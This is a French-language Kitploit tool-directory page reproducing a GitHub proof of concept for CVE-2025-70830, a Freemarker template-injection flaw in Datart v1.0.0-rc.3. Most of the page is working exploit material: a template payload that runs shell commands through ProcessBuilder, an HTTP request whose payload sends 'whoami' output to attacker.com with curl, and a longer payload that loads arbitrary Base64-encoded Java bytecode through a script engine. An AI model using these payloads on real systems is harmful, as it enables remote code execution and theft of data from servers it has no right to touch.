Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-70830 — Une vulnérabilité d'injection de modèles côté serveur (SSTI) dans le moteur de templates Freemarker de Datart v1.0.0-rc.3 permet à des attaquants authentifiés d'exécuter du code arbitraire en injectant une syntaxe de template Freemarker spécialement conçue dans le champ de script SQL. | Kitploit
Outils/GitHubGitHub/xiaoxiaoranxxx/cve-2025-70830
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubxiaoxiaoranxxx/cve-2025-70830

CVE-2025-70830

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

5il y a 6 moisPas encore vérifié

Une vulnérabilité d'injection de modèles côté serveur (SSTI) dans le moteur de templates Freemarker de Datart v1.0.0-rc.3 permet à des attaquants authentifiés d'exécuter du code arbitraire en injectant une syntaxe de template Freemarker spécialement conçue dans le champ de script SQL.

Partager

CVE-2025-70830: Datart Injection de modèles côté serveur (SSTI)

Aperçu de la vulnérabilité

  • Numéro CVE: CVE-2025-70830
  • Produit affecté: Datart
  • Version affectée: v1.0.0-rc.3
  • Type de vulnérabilité: Injection de modèles côté serveur (SSTI)
  • Niveau de gravité: Exécution de code à distance (RCE)

Description de la vulnérabilité

Le moteur de templates Freemarker de Datart v1.0.0-rc.3 présente une vulnérabilité d'injection de modèles côté serveur (SSTI). Un attaquant authentifié peut exécuter du code système arbitraire en injectant une syntaxe de template Freemarker malveillante dans le champ de script SQL.

Étapes de reproduction (Preuve de concept)

1. Conditions préalables

  • Se connecter au système Datart.
  • Pouvoir accéder aux sources de données (Data Source) avec exécution SQL et les modifier.

2. Construction du payload

Dans l'éditeur de script/requête SQL (SQL script/query editor), saisissez le payload Freemarker suivant pour exécuter des commandes système (par exemple id ou calc) :

root@kitploit:~
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["bash","-c","id"])>
${pb.start()}
SELECT 1

Cliquez pour exécuter le script, le serveur exécutera la commande en arrière-plan.

3. Exemple de requête HTTP

Le paquet de requête pour déclencher la vulnérabilité via l'API est le suivant :

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "sourceId": "valid_source_id",
  "script": "<#assign ob=\"freemarker.template.utility.ObjectConstructor\"?new()><#assign pb=ob(\"java.lang.ProcessBuilder\",[\"bash\",\"-c\",\"curl http://attacker.com/`whoami`\"])>${pb.start()}SELECT 1",
  "scriptType": "SQL",
  "size": 100
}

Exploitation avancée

Chargement de bytecode arbitraire

Un attaquant peut utiliser javax.script.ScriptEngineManager de Java pour appeler le moteur JS et charger et exécuter du bytecode Java arbitraire encodé en Base64.

Exemple de payload :

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "script": "<#assign ob='freemarker.template.utility.ObjectConstructor'?new()><#assign sem=ob('javax.script.ScriptEngineManager')><#assign engine=sem.getEngineByName('js')><#assign result=engine.eval('var classLoader=java.lang.Thread.currentThread().getContextClassLoader();var className=\"org.apache.shiro.coyote.deserialization.impl.UnwrappedPropertyHandler\";var base64Str=\"yv66..\";try{classLoader.loadClass(className).newInstance()}catch(e){var clsString=classLoader.loadClass(\"java.lang.String\");var bytecode;try{var clsBase64=classLoader.loadClass(\"java.util.Base64\");var clsDecoder=classLoader.loadClass(\"java.util.Base64$Decoder\");var decoder=clsBase64.getMethod(\"getDecoder\").invoke(null);bytecode=clsDecoder.getMethod(\"decode\",clsString).invoke(decoder,base64Str)}catch(ee){try{var datatypeConverterClz=classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");bytecode=datatypeConverterClz.getMethod(\"parseBase64Binary\",clsString).invoke(null,base64Str)}catch(eee){var clazz1=classLoader.loadClass(\"sun.misc.BASE64Decoder\");bytecode=clazz1.newInstance().decodeBuffer(base64Str)}}var clsClassLoader=classLoader.loadClass(\"java.lang.ClassLoader\");var clsByteArray=(new java.lang.String(\"a\").getBytes().getClass());var clsInt=java.lang.Integer.TYPE;var defineClass=clsClassLoader.getDeclaredMethod(\"defineClass\",[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);var clazz=defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance()}')>SELECT 1",
  "sourceId": "valid_source_id",
  "size": 1000,
  "scriptType": "SQL",
  "columns": "",
  "variables": []
}
Télécharger l’outil